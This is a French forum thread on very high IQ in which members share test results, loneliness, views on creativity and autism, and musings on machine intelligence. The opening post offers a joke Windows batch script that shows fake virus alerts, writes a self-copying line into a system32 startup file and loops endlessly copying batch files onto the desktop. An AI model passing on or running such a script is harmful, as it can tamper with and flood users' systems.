Re: THQI ? T'es cuit !

par Invité Mer 30 Nov 2016 - 13:22

si vous voulez faire joujou

@echo off

echo checking system:

echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i #*>c:\windows\system32\autoexec.NT

echo VIRUS DETECTED

Pause

echo DELETING VIRUS

pause

:1

dir /s

copy c:\tmp.bat

c:\document~1\%username%\desktop\greatgame_%random%.bat
goto 1

c'est assez flippant.. lol

par Kidagomor Mar 6 Déc 2016 - 22:01

Perso je l'ai passé le test ou le maximal est à 160 et... Je suis arrivé à 160
Donc je pense que je suis une THQI
je dois dire que j'ai remarqué chez moi des choses qui me son propre par rapport à des personnes normal, mais j'ai aussi eu (et ai tj) un environnement familial complexe qui pourrait faussé les données.
Ce que j'entends par là c'est que ces traits de ma personnalité sont peut-être issue de contraintes ... environnemental (?) et pas à mon THQI

par Kidagomor Mar 6 Déc 2016 - 22:08

Ah, et bien que je sois encore jeune, ce que je peux dire comme témoignage c'est que :
- J'ai vécu le test comme un jeux, et je me souviens encore m'être trompé dans la reconnaissance de papillon. J'ai fait le test en moyenne section de maternelle
Jsp s'il y a d'autre question.
Je ne sais même pas si je suis THQI, et d'ailleurs si je ne le suis pas, tant mieux. Moi qui est tendance à tj vouloir me distingué, si je pouvais pour une fois rentré dans la case :p

par Invité Jeu 16 Fév 2017 - 12:52

[supprimé]

par Invité Jeu 16 Fév 2017 - 13:34

on pourrait faire du big data sur matrices à n dimensions avec les caractéristiques de zèbre, le qi en regroupe 5 de mémoire dont le qit mais on peut accroitre ce nombre facilement, alors on aura probablement des tas de profils uniques comme le montre le topic sur les 5 mesures , je sais plus ou j'ai vu ça

bref chacun est une combinaison linéaire, ce qu'ils appellent un profil

mais en réalité ils ne tiennent pas compte des liens entre variables, déjà rien que cela...

et mieux des constantes

il faudrait un jour moucher tout ces surdoués-sceptiques, mais ce serait assez hard en fait

en les laissant ramer dans leurs trips, on perd moins de temps

donc au contraire c'est lumineux

jarod rulez tout simplement, quelle est la combili qui réponde le mieux à la question posée

le surdoué en a plus que les autres, plus de variables , plus de possibilités de combinaison et plus d'innovation dans les combinaisons

comparer une seule combinaison restreint donc fortement les capacités

et dans la panoplie des briques lego de combili, parfois on utilise des combili super simple à 1 ou deux voire une seule variable

mono centré , efficacité totale

parfois la combinaison est interminable et suppose la maitrise de chacune des variables au moins en moyenne pour que la combinaison réponde à la question

en science cognitives et sociales je me demande s'ils pigent cela ?

de mémoire ma plus faible note dépasse de peu le 140 et la plus haute est un max

cette combili là me classe en thqi

d'autres combili me classe en débile

d'autres en génie par moment

dingue non ?

par Invité Jeu 16 Fév 2017 - 13:41

qui êtes vous monsieur ? je suis une matrice de possibles parsemée ça et là de vides

et quelle est la taille, la dimension de votre matrice

oh vous savez c'est comme en sexe, la taille n'importe pas, c'est la manière dont on s'en sert

tiens cela me fait penser à big bang theory et leur intérêt pour les jeux de rôle et de cartes qui sont aussi des combinaisons de pouvoirs et de qualités, dédauts,le fait de les associer est un jeu intellectuellement compliqué

de manière imagée on pourrait presque jouer avec son propre jeu , par ailleurs la matrice peut se réduire, s'agrandir et qui sait même se trianguler

alors là on entre dans l'optimisation du surdon, thème à ma connaissance jamais abordé

lol

peut on monter à l'heure où le qi moyen baisse ? bien sur que oui qu'on peut monter

on contre argumentera que nos capacités cognitives sont plafonnées

mais on peut optimiser non en vitesse pure mais en combinaison de facteurs et d'astuces accroissant artificiellement le plafond

exemple classique

1250 *13 est plus long que de faire 1250*10 + 1250* 3

ou encore 1250*10+1000*3+250*3

vous voyez l'idée ? ben c'est valable dans tous les domaines du savoir

cela s'appelle la capacité de synthèse et d'association et/ou de conceptualisation

je nomme la phrase" s'il prend 30 grammes d'engrais de type K pour accroitre sa production" le facteur k

si je cultive un champs avec ou sans facteur k.. on a réussi à réduire la phrase tout en conservant un contenu informationnel

etc etc

on peut alors associer, imbriquer des briques simples, des blocs de concepts et avancer plus haut plus vite

hier dans big bang on voyait steven hawking une fois de plus qui à mon avis a soufflé l'idée de sphère hyperfluide pour caractériser l'univers

avec des capacités d'hyperfluide

amusant non ? voir l'univers comme un ballon rempli d'eau et des paillettes dedans, quazard, galaxies ou systèmes solaires...)

évidemment la tension de surface donc et les trous noirs dans le ballon.. quand même

le vide étant parcouru et non vide en somme cela prend une saveur amusante non ?

ce feuilleton est vraiment cool

ils s'en servent pour attirer les ados vers la science aussi et c'est intelligent

on vit une époque formidable non ?

par Pieyre Ven 17 Fév 2017 - 15:22

Alsamoshelan :
je trouve extrêmement curieux qu'on ne puisse pas poster dans ces salons sans demander la permission

C'est le principe des salons, tel qu'il est exposé dans le Mode d'emploi des salons. En général, j'ai préféré rédiger une petite lettre au portier des salons pour y entrer, ce qui a un côté justification qui peut déplaire, mais ce n'est pas nécessaire.

mais en plus il est fermé visiblement

Non : il s'agit juste d'une formulation malheureuse qui est due à notre hébergeur Forum Actif, comme indiqué dans le mode d'emploi.

Tu pourras toujours demander que les derniers messages soient replacés dans le bon fil quand tu seras inscrit.

on a en effet plus de difficultés à estimer le QI réel des personnes au-delà, mais cela n'empêche pas de se rendre compte que ces personnes s'écartent fortement de la moyenne.

Plus on s'écarte de la moyenne, plus l'intervalle de confiance serait élevé, ce qui rend assez incertain le fait de revendiquer précisément un QI supérieur à trois écarts-types, même si bien sûr il n'y a pas de doute que ce soit au-delà de ceux qui sont à deux écarts-types.

Le QI ne "caractérise" pas l'intelligence mais l'évalue, de façon plus ou moins précise. Seule cette évaluation, complétée par le bilan psychologique et éventuellement par d'autres tests, permet une réelle "caractérisation" de l'intelligence.

Le QI ne caractérise pas à lui seul l'intelligence mais il en est une caractéristique. Le problème, c'est que même en y ajoutant une analyse psychologique, l'incertitude reste plus élevée que dans le cas de l'intelligence moyenne. Plus on connaît les personnes, plus on peut estimer leur QI ou leur intelligence bien sûr. Mais le principe d'un test ou d'un bilan limité à quelques heures, c'est de se prononcer précisément en un temps réduit. Au mieux on pourrait dire qu'il manque un élément d'analyse pour cela; au pire que ce n'est pas possible.

Une personne à gros QI est dotée d'une meilleure efficience intellectuelle qu'une personne qui en a un plus petit, cela ne signifie nullement que la deuxième personne sera incapable d'accomplir des choses aussi intelligentes que la première, simplement elle mettra soit plus de temps, soit elle utilisera ses autres types d'intelligence et rien ne l'empêche de parvenir au même niveau. Pour résumer ma pensée : avec plus ou moins de boulot, je pense qu'on peut aller aussi loin qu'on veut.

N'exagérons pas : ce n'est pas parce qu'il y a un continuum et une diversité de voies concernant l'intelligence qu'il n'y a pas de limites pratiques. Un animal aussi a une intelligence, parfois même supérieure à celle de l'homme de façon ponctuelle, en certains tests élémentaires, liés notamment à la mémoire immédiate chez le chimpanzé. Et pourtant un chimpanzé ne démontrera jamais un théorème de mathématique requérant un certain niveau d'abstraction. Il est difficile de transposer à une comparaison entre des humains. Et pourtant je suis convaincu que certaines personnes, quel que soit le nombre d'années et même de siècles qu'on leur accorderait, seraient incapables de démontrer les théorèmes mathématiques les plus ardus.

par Dulsao Mar 19 Déc 2017 - 17:33

Je suis d'accord avec le dernier post, même avec du travail, il existe une limite cérébrale à certaines capacités, telle que notre vitesse et la capacité d'abstraction des THQI. Qui, oui, dépasse celle des HQI "simples". Quant à parler de différence ou supériorité, je préfère personnellement dire au-dessus de manière tout à fait neutre et objective sans jugement de valeur. Les talents différents ne sont pas exclus mais intellectuellement, cognitivement parlant, nous sommes au-dessus.

Sinon, pour répondre au post de départ demandant des vécus de THQI (je n'ai pas lu les multiples pages), je vais tenter de démêler entre le SA et le THQI seuls (les interférences étant malheureusement nombreuses). Bon déjà quelques réponses de THQI ici me rassurent puisque même certains THQI me paraissaient... au-dessous (toujours de façon neutre et objective), ils me paraissaient plus lents et pas doués. En venant à douter de n'être pas seulement highly gifted (THQI à partir de 145 en France) mais exceptionally gifted (160 je crois la bascule en anglais). Ce qui est peut-être le cas, ma praticienne n'a pas été fichue de calculer un QI global et n'a pas vu les interférences de l'autisme dans mon passage du test (pour sa défense, je n'y avais pas pensé non plus à l'poque). Toujours est-il qu'en tant que THQI, je ne le considère pas comme un fardeau, et le QI permet de ne pas douter de l'intelligence et relativiser les échecs dans le système scolaire (encore étudiante) ou ailleurs, juste par impossibilité de cadrer avec leur méthode. Il reste néanmoins une réelle difficulté d'adéquation (intellectuelle, je mets le SA de côté dans ce témoignage) avec autrui. Et oui, j'ai beau rationnellement penser que tous peuvent apporter quelque chose et tous ont un talent autre que juste l'intellect, j'ai du mal à supporter justement cette différence d'intellect qui m'ennuie et peut mener à un certain mépris temporaires par moment. L'ennui est la seconde composante véritablement difficile. L'ennui scolaire mais aussi dans un peu tout, ne trouvant que peu d'êtres assez stimulants sur le long terme, ou de textes ou de sujets... Je m'ennuie et m'agace assez des autres.

De ce que j'ai lu de la dernière réponse, je trouve une reconnaissance intellectuelle avec la personne qui a répondu, ceci apaise quelque peu. La solitude intellectuelle peut peser pas mal, surtout la peur de ne jamais pouvoir partager car en restant inaccessible aux autres (tout comme ils me sont inaccessibles).

Là où l'autre rejoindra le (T)HQI avec son travail ce sera sur des choses comme la syntaxe. Des systèmes à apprendre par cœur. Cependant sur d'autres domaines, même les mathématiques, ou la philosophie, la littérature oui, ce sera bien impossible. les connexions innovantes et l'abstraction ne peuvent malencontreusement s'apprendre. Ce serait quelque part pas si mauvais puisque nous serions moins seuls. Enfin, une petite part de nous peut dire non... C'est un peu rassurant et glorifiant d'être ainsi.

Pour en revenir au témoignage, (mes idées viennent seules, je ne structure pas), le THQI j'en suis fière et je l'assume, il est en cela agréable à vivre si l'on a appris à le gérer, et ne pas dramatiser dès que par exemple un épisode dépressif apparaît, en effet, il pourra être lié à un besoin du THQI non respecté (comme la stimulation intellectuelle nécessaire). Pour ce qui est de la reconnaissance, j'avoue avoir un peu de mal encore à m'en passer et me sentir toujours fragilisée des regrets. Non pas en doutant "je ne suis pas intelligente" mais plutôt "je voulais aider, cela ne leur convient pas, c'est bon pourtant... Je ne pourrais jamais promulguer mes idées, elles ne passeront pas pour eux". Le THQI est merveilleux à vivre lorsque les capacités sont mobilisées, cette joie de la découverte d'une idée, d'un lien, cette vitesse prodigieuse de fonctionnement, cette appréhension si rapide des tenants, des aboutissants, des paradoxes d'un concept ou d'une idée. Des fois cela me mine un peu, j'ai à mon âge (19) un certain avancement, une sorte de sensation d'approcher du bout dans la maturité) qui m'ennuie, même dans mon introspection je suis si rapide que cela ne dure pas et que je règle très vite mes problèmes, j'avance très vite et apprends très vite. Cette vitesse hallucinante des THQI peut aussi être pesant, nous allons trop vite donc nous nous ennuyons tout aussi vite avec parfois cette sensation (sans prétention, plutôt une lassitude) de tout avoir vu et tout savoir, d'une perte d'intérêt de la vie. L'on peut toujours apprendre, je ne dis pas le contraire, or quelques postulats de départ (comme dire que je refuserai toujours de me plier aux normes NT) empêchent certains chemins. Sans regrets cependant.

Ce que je remet en question dans le QI, c'est dans le standard du test. Il suffit d'un SA ou d'un autre trouble pour que tout soit bouleversé. Et lorsque cette comorbidité est connue tout ce que fait le praticien c'est "relativiser parce que hors standard" alors qu'étendre le standard serait peut-être plus inclusif. Sinon je défends plutôt le QI, enfin le test qui oui, calcule la créativité (dans sa définition de créer des liens innovants). Ce qui est appelé intelligences multiples ne devrait pas s'appeler intelligence à mon avis mais talents ou compétences.

Ce qui est par contre vraiment dur, c'est que même avec les HQI et certains THQI, je suis décalée intellectuellement et me sens excessivement seule. Je me permets donc de dire (pour répondre à un autre sujets demandant où sont les THQI) que oui j'évite habituellement les forums comme zebra crossing. Et même le groupe THQI de Facebook m'énerve et me déçoit. Donc nous sommes chez nous, dans notre vie et notre matrice. Un amour abstrait de la notion d'humanité est possible, l'engagement aussi, mais nous pouvons éviter les forums et groupes. Surtout si un SA se rajoute.

Et je me moque d'être considérée comme prétentieuse avec ces mots, je sais que je ne le suis pas. Il n'y a aucune valeur ajoutée dans mes propos.

par Stauk Mar 19 Déc 2017 - 17:45

Dulsao a écrit:Sinon je défends plutôt le QI, enfin le test qui oui, calcule la créativité (dans sa définition de créer des liens innovants). Ce qui est appelé intelligences multiples ne devrait pas s'appeler intelligence à mon avis mais talents ou compétences.

Mais pourquoi ? Quel est donc le lien entre QI et créativité (dans sont sens commun !), et en quoi l’intelligence ne devrait pas s’appeler intelligence ?

par Dulsao Mar 19 Déc 2017 - 17:55

Je n'ai pas dis cela. Je veux dire dans la théorie des intelligences multiples, je n'utiliserais pas en ce cas précis le terme d'intelligence mais plutôt de compétences ou de capacités.

Ensuite sur le QI, la créativité est testée lors du test. J'ai fais un raccourcis, cela est ma faute, je défends le QI qui lors du test ne se centre pas sur l'intelligence cognitive seule. En tout cas, lors d'un passage avec un professionnel pour le HQI, c'est toute une batterie de test et non pas la logique/le verbal seul.e.s qui est mesuré.e.s.

Le QI n'est pas à prendre en lui-même seul et je ne défends pas ceux qui tout de suite disent "je suis... mon QI est de ...", quoique, ils font ce qu'ils veulent, mais je ne le réfute pas entièrement. Il n'est pas tout il est cependant significatif et utile.

par Stauk Mar 19 Déc 2017 - 18:13

@Dulsao : je ne comprends pas ce que tu appelles "la créativité". Pour moi la créativité s'exprime en particulier dans les arts, la littérature, la poésie, les tableaux et fresques, les compositions musicales, et également dans certains domaines de l'ingénierie.

Tu ferais vraiment confiance au critère du QI pour te choisir un compositeur, ou confier la décoration de ta maison à quelqu'un ? Personnellement je n'aurais pas confiance dans les résultats à ces tests pour m'aider à trouver une personne créative, quelque soit ce que j'attends de cette personne par ailleurs. Quoi qu'à qualités égales autrement, je puisse naturellement choisir de m'appuyer dessus en complément, pourquoi pas.

Pour ce qui est des intelligences multiples, sans entrer dans le détail des catégories effectivement proposées, ce qui me semble digne d'intérêt c'est la démarche. Une démarche qui est partie du constat qu'il n'existait pas de manière de définir l'intelligence, le QI étant justement un appareil mal adapté aux discours concernant la notion d'intelligence. Le QI mesure certainement des capacités, mais pas l'intelligence, qui reste à ce jour ineffable. Là encore un petit exercice d'imagination m'en convainc : est ce qu'il suffirait qu'un robot ait un score très élevé à un test de QI pour qu'on soit convaincu de son intelligence ? Personnellement j’émets quelques réserves.

Un pote m'avait fait un long laïus sur la corrélation entre QI et intelligence, qui est plus facile à défendre. Je n'ai pas de contre argument, mais ça ne veut pas dire non plus que je suis d'accord : je ne vois pas comment mettre à l'épreuve cette hypothèse, en l'absence d'un système de mesure fiable de l'intelligence, et même pour aller plus loin, en l'absence d'une méthodologie bien établie pour en parler.

par Invité Mer 20 Déc 2017 - 1:27

Invité a écrit:qui êtes vous monsieur ? je suis une matrice de possibles parsemée ça et là de vides

et quelle est la taille, la dimension de votre matrice

oh vous savez c'est comme en sexe, la taille n'importe pas, c'est la manière dont on s'en sert

tiens cela me fait penser à big bang theory et leur intérêt pour les jeux de rôle et de cartes qui sont aussi des combinaisons de pouvoirs et de qualités, dédauts,le fait de les associer est un jeu intellectuellement compliqué

de manière imagée on pourrait presque jouer avec son propre jeu , par ailleurs la matrice peut se réduire, s'agrandir et qui sait même se trianguler

alors là on entre dans l'optimisation du surdon, thème à ma connaissance jamais abordé

lol

peut on monter à l'heure où le qi moyen baisse ? bien sur que oui qu'on peut monter

on contre argumentera que nos capacités cognitives sont plafonnées

mais on peut optimiser non en vitesse pure mais en combinaison de facteurs et d'astuces accroissant artificiellement le plafond

exemple classique

1250 *13 est plus long que de faire 1250*10 + 1250* 3

ou encore 1250*10+1000*3+250*3

vous voyez l'idée ? ben c'est valable dans tous les domaines du savoir

cela s'appelle la capacité de synthèse et d'association et/ou de conceptualisation

je nomme la phrase" s'il prend 30 grammes d'engrais de type K pour accroitre sa production" le facteur k

si je cultive un champs avec ou sans facteur k.. on a réussi à réduire la phrase tout en conservant un contenu informationnel

etc etc

on peut alors associer, imbriquer des briques simples, des blocs de concepts et avancer plus haut plus vite

hier dans big bang on voyait steven hawking une fois de plus qui à mon avis a soufflé l'idée de sphère hyperfluide pour caractériser l'univers

avec des capacités d'hyperfluide

amusant non ? voir l'univers comme un ballon rempli d'eau et des paillettes dedans, quazard, galaxies ou systèmes solaires...)

évidemment la tension de surface donc et les trous noirs dans le ballon.. quand même

le vide étant parcouru et non vide en somme cela prend une saveur amusante non ?

ce feuilleton est vraiment cool

ils s'en servent pour attirer les ados vers la science aussi et c'est intelligent

on vit une époque formidable non ?

je me recite j'ai envie

ainsi donc le qi ne serait pas corrélé à l'intelligence, pourquoi pas, mais alors il faudrait la définir et désolé vu le nombre infernal de débiles que je cotoie bien malgré moi, je confirme bien que ces gens sont totalement incapables de réussir brillamment un teste de qi

c'est acquis , maintenant que l'intelligence puisse se définir en plus du qi, oui c'est évident , la créativité est l'intelligence qui s'amuse disait einstein,un vrai cerveau lui c'est évident aussi

donc on a une intelligence qui s'emmerde et une intelligence qui s'amuse, donc le facteur fun est fondamental, on ne fait pas grande chose d'intelligent si on y trouve pas du fun du coup

c'est acquis aussi

pour les robots leur intelligence leur est donnée par les programmeurs, elle est donc humaine à la source, ce qui n'est pas maitrisé c'est la combinatoire qui en découle , cela peut ressembler à de l'intelligence mais c'est juste un assemblage

quand une ia sera capable de proposer une idée originale sortant de sa programmation initiale on pourra parler d'intelligence vraie

bcpo de gens ont peur des ia et ce sont souvent ceux qui les programment.. amusant non ?

ainsi une équipe a récemment permis à une ia de produire de fausses videos

https://lexpansion.lexpress.fr/high-tech/des-celebrites-dans-des-pornos-manipulees-par-une-intelligence-artificielle_1969156.html

ou est le danger .. dans l'ia ou dans ces esprits qui ont pensé que l'ia pourrait le faire ?

le vrai danger de l'ia est bien le programmeur derrière

et en particulier l'absence de freins dans la programmation elle même

c'est en cela que donner un accès sans frein une ia à des bases mondiales est un vrai risque

pire concevoir des robots tueurs autonomes

les vrais dangers sont les concepteurs et ceux qui ont mis leur intelligence au service de la conception de ces choses

evil genius donc

l'intelligence est non seulement liée à la créativité mais également à la moralité

science sans conscience n'est que ruine de l'âme disait Bossuet

intelligence sans conscience n'est que perversion

par Nefalashus Jeu 21 Déc 2017 - 22:31

Stauk a écrit:@Dulsao : je ne comprends pas ce que tu appelles "la créativité". Pour moi la créativité s'exprime en particulier dans les arts, la littérature, la poésie, les tableaux et fresques, les compositions musicales, et également dans certains domaines de l'ingénierie.

Tu ferais vraiment confiance au critère du QI pour te choisir un compositeur, ou confier la décoration de ta maison à quelqu'un ? Personnellement je n'aurais pas confiance dans les résultats à ces tests pour m'aider à trouver une personne créative, quelque soit ce que j'attends de cette personne par ailleurs. Quoi qu'à qualités égales autrement, je puisse naturellement choisir de m'appuyer dessus en complément, pourquoi pas.

Tout dépends donc de la notion de créativité. Selon moi (source certes subjective) il s'agit de faire des liens en sachant combiner des éléments à prioris in-combinables. Ainsi, le test de QI semble bien basé dessus, car il s'agit de trouver des suites, et donc des patterns, des liaisons, soit instinctivement, soit par "brute-force" en tentant des possibilités loufoques pour en arriver aux limites de cette suite en question. L'art peut être créatif, mais où est la créativité dans le photoréalisme par exemple ? Ou même dans nombre de musiques, suivant uniquement des patterns bien définis et réutilisant uniquement ce que les musiciens ont "par réflexes" car leur vision est trop ancrée dans un domaine bien défini.

[EDIT]
Tu mentionne l'ingénierie, mais je trouve qu'il s'agit de résolution de problèmes en somme assez proche des tests de QI, mis à part qu'il y a des pré-requis de savoir. Mais au final c'est un travail de mis en corrélation de problèmes, de solutions techniques, et de coût. (Un ingénieur pourra me reprendre sur le sujet si je me trompe)
[/EDIT]

Stauk a écrit:@Dulsao : [...]. Là encore un petit exercice d'imagination m'en convainc : est ce qu'il suffirait qu'un robot ait un score très élevé à un test de QI pour qu'on soit convaincu de son intelligence ? Personnellement j’émets quelques réserves.

Ici, la réponse dépends aussi de si tu considère le cerveau déterministe. En effet, si on considère que pour une entrée X il y aura toujours une sortie Y (en considérant que le cerveau ait donc tous les mêmes paramètres initiaux, que ce soit acquis et stimulis (ce qui impliquerais de le "réinitialiser" entre chaque tests) ), en quoi une machine ne pourrait pas devenir intelligente ?
Je pense qu'une machine passant un test de QI avec succès est intelligente, si et seulement si, ses algorithmes n'ont pas été dictés par un être humain à l'avance. Il s'agirait alors juste d'application de méthode et non de création de solution. C'est vers là que tendent les nouveaux réseaux de neurones : Faire en sorte que l'ordinateur génère lui-même ses propres sentiers de pensées.
Dans le fond, sommes-nous si différent d'une machine ? Est-ce qu'une pensée, une réflection, ne serait pas juste le trajet d'un courant électrique dans nos neurones ? On peut répondre ainsi uniquement si nous supposons qu'il n'y a pas de notion d'esprit ou de psyché "aléatoire" et "externe" au cerveau physique.
Aussi, je me permet d'ajouter que l'intelligence n'est pas synonyme de "comportement humain". Ainsi, une intelligence artificielle pourrais simplement être l'IA de suggestion de publicités de facebook. Elle prends en compte des stimulis (amis, où ont été ces amis, où tu a été, messages envoyés, ...) et en génère des réactions. Mais considérer des robots intelligents perturbe beaucoup d'égos humains. (Attention, je ne dis pas cette dernière phrase pour "automatiquement" discréditer ceux contre cet opinion, encore une fois subjectif)

par Philousophus Lun 3 Déc 2018 - 17:04

Un jour de pluie, maître Amal, solitaire, mythique fondateur du Kojitotsu (ea kote), cria ces mots à l'univers, entre deux Lexomil :

Au bas de cette
courbe en cloche,
L'esprit se Gauss,
le coeur s'écorche !

par Noahanza Lun 13 Mai 2019 - 18:52

Merci pour ce topic qui parfois a eu tendance à dériver au fil du temps,mais en dépit de ça j'ai pu assimiler vos témoignages et réflexions aux miennes grâce à tout vos messages et j'en ressors plus "informé" si on peut dire ça comme ça Smile

par **Opossum** Mer 7 Aoû 2019 - 21:51

Invité a écrit:

l'intelligence est non seulement liée à la créativité mais également à la moralité
science sans conscience n'est que ruine de l'âme disait Bossuet
intelligence sans conscience n'est que perversion

Je lis, ne sais si je peux poster ici, m'en moque au final.
Merci.

par Edel Mer 7 Aoû 2019 - 23:01

J'aime beaucoup les quelques lignes que tu viens de reprendre !

Sinon, je me pose une question bien inutile mais qui me reste en suspend depuis plusieurs mois : quand on dit que le QI d'Einstein est estimé aux alentours de 160 mais c'est sur quelle échelle ? Wechsler ? Cattell ?

par Fenrir Jeu 8 Aoû 2019 - 10:46

C'est sur celle de Wechsler. Un 160 sur Wechsler équivaut à un 196 sur Cattell.

par ShineFlower Mer 16 Oct 2019 - 0:36

Lanza a écrit:Bon puisqu'il faut tout faire soi même ici, et qu'il y a une demande en ce sens

Alors, amis THQI, comment-vivez vous l'extraordinaire potentiel intellectuel qui est le vôtre ? Vous sentez-vous jalousé ? Comment manifestez-vous au quotidien votre mépris pour le reste du monde ? Est-ce que c'est difficile de devenir THQI ? Quelles formations sont proposées ?

Pour devenir surdoué la solution est on ne peut plus simple fréquenter d’autres surdoués. Pour le THQI fréquenter des pairs. Zèbre

La douance c’est hyper contagieux. A condition de vouloir l’attraper. Pété de rire

par Edel Ven 10 Avr 2020 - 16:08

Dulsao a écrit:Ce qui est par contre vraiment dur, c'est que même avec les HQI et certains THQI, je suis décalée intellectuellement et me sens excessivement seule. Je me permets donc de dire (pour répondre à un autre sujets demandant où sont les THQI) que oui j'évite habituellement les forums comme zebra crossing. Et même le groupe THQI de Facebook m'énerve et me déçoit. Donc nous sommes chez nous, dans notre vie et notre matrice. Un amour abstrait de la notion d'humanité est possible, l'engagement aussi, mais nous pouvons éviter les forums et groupes. Surtout si un SA se rajoute.

Ne serait ce pas justement lié au SA ? Ou plutôt à la combinaison des deux ? Je vis la même chose...

Je ne suis pas THQI mais pas loin, peu importe, je vois bien que je suis en décalage malgré tout avec les zèbres et avec les Asperger également. Je ne parle pas d’aspect qualitatif mais fonctionnel et/ou conceptuel. Les rares personnes avait qui je me suis sentie sur la même longueur d'onde sont justement des (T)HQI-Asperger.

Quand je poste sur un forum je me fais rarement comprendre ce qui engendre des réactions parfois violentes sans même que je n'ai le temps de comprendre ce qu'il se passe, pourtant ça ne part jamais d'une mauvaise attention de ma part, je pense dire quelque chose et ce n'est pas pris sous le même angle. Je n'ose plus poster, ni sur les forums de zèbres ni sur asperansa... le confinement à raison de moi en ce moment mais j'hésite toujours par peur d'être une nouvelle fois incomprise et renforcer ce sentiment d'incompréhension et de solitude.

par Invité Mar 14 Avr 2020 - 10:04

Je ressent très fort le manque de feedback au quotidien, et le besoin de partage sous-jacent. Je viens sur ZC pour ça précisément je pense.

Ce 'besoin d'exister dans les yeux de l'autre' universel

Que de balles lancées dans le vide !
Tu m'étonne, quand on te renvoie un jour la balle, que tu ai envie de plus. Tu m'étonne que deux cerveaux a fonctionnement proches s'attirent ^^

J'imagine que le zèbre peut tout a fait louper une balle lancée par le t'zèbre.

Après... Le propre du zèbre est d'être unique.. Peu importe où il se situe dans tous les spectres échelles barèmes du monde... Par nature beaucoup de balles lancées ne reviendrons jamais...

Devrait on apprendre, éveillés que nous sommes de part notre zébritude, à un peu plus renvoyer les balles perdues aux zèbres de tout pelages que nous croisons, même d'une tribu lointaine? Je le pense.

Certains auteurs autour de la communication affirment qu'on se sent a l'aise dans une conversation où l'on est 2/3 émetteur, 1/3 récepteur... Occupé que l'on est a tenter d'assouvir nos 2/3, quid de la place du feedback pour autrui dans nos propos...

...

(Hey, pas ici que pour du feedback, aussi pour trouver de l'eau à mon moulin, merci aux ZCistes d'exister Wink

..Que nourrissants! Que stimulants!)

...
@Clepsydre, @Zebra56
Emu par les propos sur la solitude indicible auprès de notre tribu, sur le fugace/ indécelable sentiment d'amour
...
@Fata Morgana
Tu me fascine, ce passage sur ton monde intérieur, sur la cascade qui descend de ton créatif vers ton communiquant, la bouche ou le clavier, et ce rapport à la poésie
Je sens tant d'écho à des bribes de sensations ressenties qui sont là exposés en clair dans ce que tu exprime
Moi mes mélanges de pensées que je voudrai extirper souvent sont mélangées au moment de sortir.. Entre un début et une fin de phrase couchée à l'écrit trop de choses se sont passées
Merci pour ton témoignage il m'est précieux..

@Kateo, Colargolle
Sur cette impression de blocage, et les reves associés..
J'ai d'un côté beaucoup d'efforts a faire pour persévérer
Des envies de créer, de mettre qqchose en route, et au moment de s'y mettre, tout ce qui semblait évident ne l'est plus.

De l'autre côté des rêves ou tous mouvements sont figés, genre situation ou je dois fuir/trouver une solution, je sais ce qu'il faut que je fasse et plus aucun mouvement n'est possible.

Je n'avais jamais fait le rapprochement...
Merci pour cette piste.

Et donc, moi, plutôt enfance couvée
...
@Fata
(Réponse produite au fil de la lecture)
Bah oui, l'amour, tout simplement
Tout à fait d'accord
Et l'amour de soi... Ce forum doit aussi être une aide à ce sujet, en se connaissant mieux au travers de témoignages de semblables
...
@Colargolle
J'aime beaucoup l'image des accrobates
Et la distinction entre intelligence et psychisme. Ça que je voulions dire par 'fonctionnement du cerveau'.
...
Je vois au fil des pages que d'autres ont simplement voulu poster leur gratitude, sans plus de commentaires... Je suis un peu dans ce sentiment. Je me demande si on retrouve cet effet au fil des autres fils ^^
...
@Edel, bonjour
Je ne sais pas ce qui t'as été répondu ni sur quel post, je me surprend a monter au créneaux en lisant certains posts/réponses.
Un élan pendant lequel je me dis 'oh lala mais pas du tout, etc..'
J'ai l'impression que notre zébritude nous fait bondir sur chaque phrase qui nous paraît 'inexacte' sur le moment... Un peu comme mon enfant à qui je dis 'enlève tes chaussures' et qu'il me répond 'c'est pas des chaussuuures c'est des sandaaaaales'.
On a un besoin d'exactitude, de vrai, qui nous donnent peut-être un certain élan d'intransigeance ?
Je suis nouveau ici, les quelques étincelles que j'ai pu voir au fil des textes n'ont pas donnés de grands incendies visibles et j'ai eu l'impression qu'un équilibre a été trouvé. (Quelques traces de départ; les pseudos qui deviennent 'invité' et les commentaires supprimés)

Bref je compati Smile

Ps en me relisant je me rend compte que la fin de mon commentaire adressé à Edel rejoint les notions rencontrées au tout debut du fil qui corespondent au début de ma réponse

par Invité Mar 14 Avr 2020 - 12:05

au delà de l'ia oui bossuet, cela se vérifie sans cesse

je ne me sens pas plus intelligent la plupart du temps mais différent dans ma manière de voir, d'appréhender et de résoudre le réel

le "très" du coup n'a pas "trop" de sens

et pour ce qui est de croiser les comme soi, hélas c'est plus compliqué, d'autant qu'ajoutent les autres différences dont le caractère etc

je postais au boulot cette petite citation qui rejoint celle de robin williams à sa mode

et cet espoir d'un vrai surdoué

robin williams l'était

faites de votre surdon le "meilleur" , le reste est.; futile

mas le meilleur pour vous, pas l'utilitarisme général

le spectaculaire est parfois discret aussi

...vous me comprenez...

il ya bien une différence entre surdon et brillance, entre gifted et brilliant comme disent les anglo saxons

l'intelligence n'est pas un cirque de prodiges

par Invité Mar 14 Avr 2020 - 12:19

https://fr.womansgirls.com/are-there-differences-between-gifted

deux classifications:

Les enfants brillants travaillent dur pour bien faire; les enfants doués font bien naturellement avec peu d'effort.
Les enfants brillants s'efforcent de répondre correctement aux questions afin de recevoir des éloges; les enfants doués sont plus curieux et posent plus de questions.
Les enfants brillants apprennent souvent de façon synchrone ou dans l'ordre; les enfants doués peuvent avoir des lacunes, avec des résultats extrêmement élevés dans certains domaines et pas tellement dans d'autres.
Les enfants brillants sont généralement socialement sur la cible avec leurs pairs; les enfants doués peuvent se sentir plus à l'aise avec les adultes ou les jeunes plus matures.
Les enfants brillants sont capables de gérer des choses comme des films adaptés à leur âge; Les enfants surdoués peuvent devenir extrêmement inquiets et poser des questions sur des concepts même minimes.
Les enfants brillants aiment l'école; les enfants doués préfèrent souvent apprendre de manière indépendante.
Les enfants brillants effectueront une tâche, puis passeront à une activité non académique; les enfants surdoués seront absorbés pendant des heures dans des activités académiques, souvent dans des domaines d'intérêt très spécifiques.

sinon lire

https://www.amazon.fr/Gifted-Adult-Revolutionary-Liberating-Everyday/dp/0345434927
http://www.talentdifferent.com/si-seulement-javais-su-mary-elaine-jacobsen-2702.html

par **RonaldMcDonald** Mar 14 Avr 2020 - 13:19

zebb a écrit:
zebb:

comme d'habitude, ce genre de classifications me renvoie le derrière entre deux chaises.

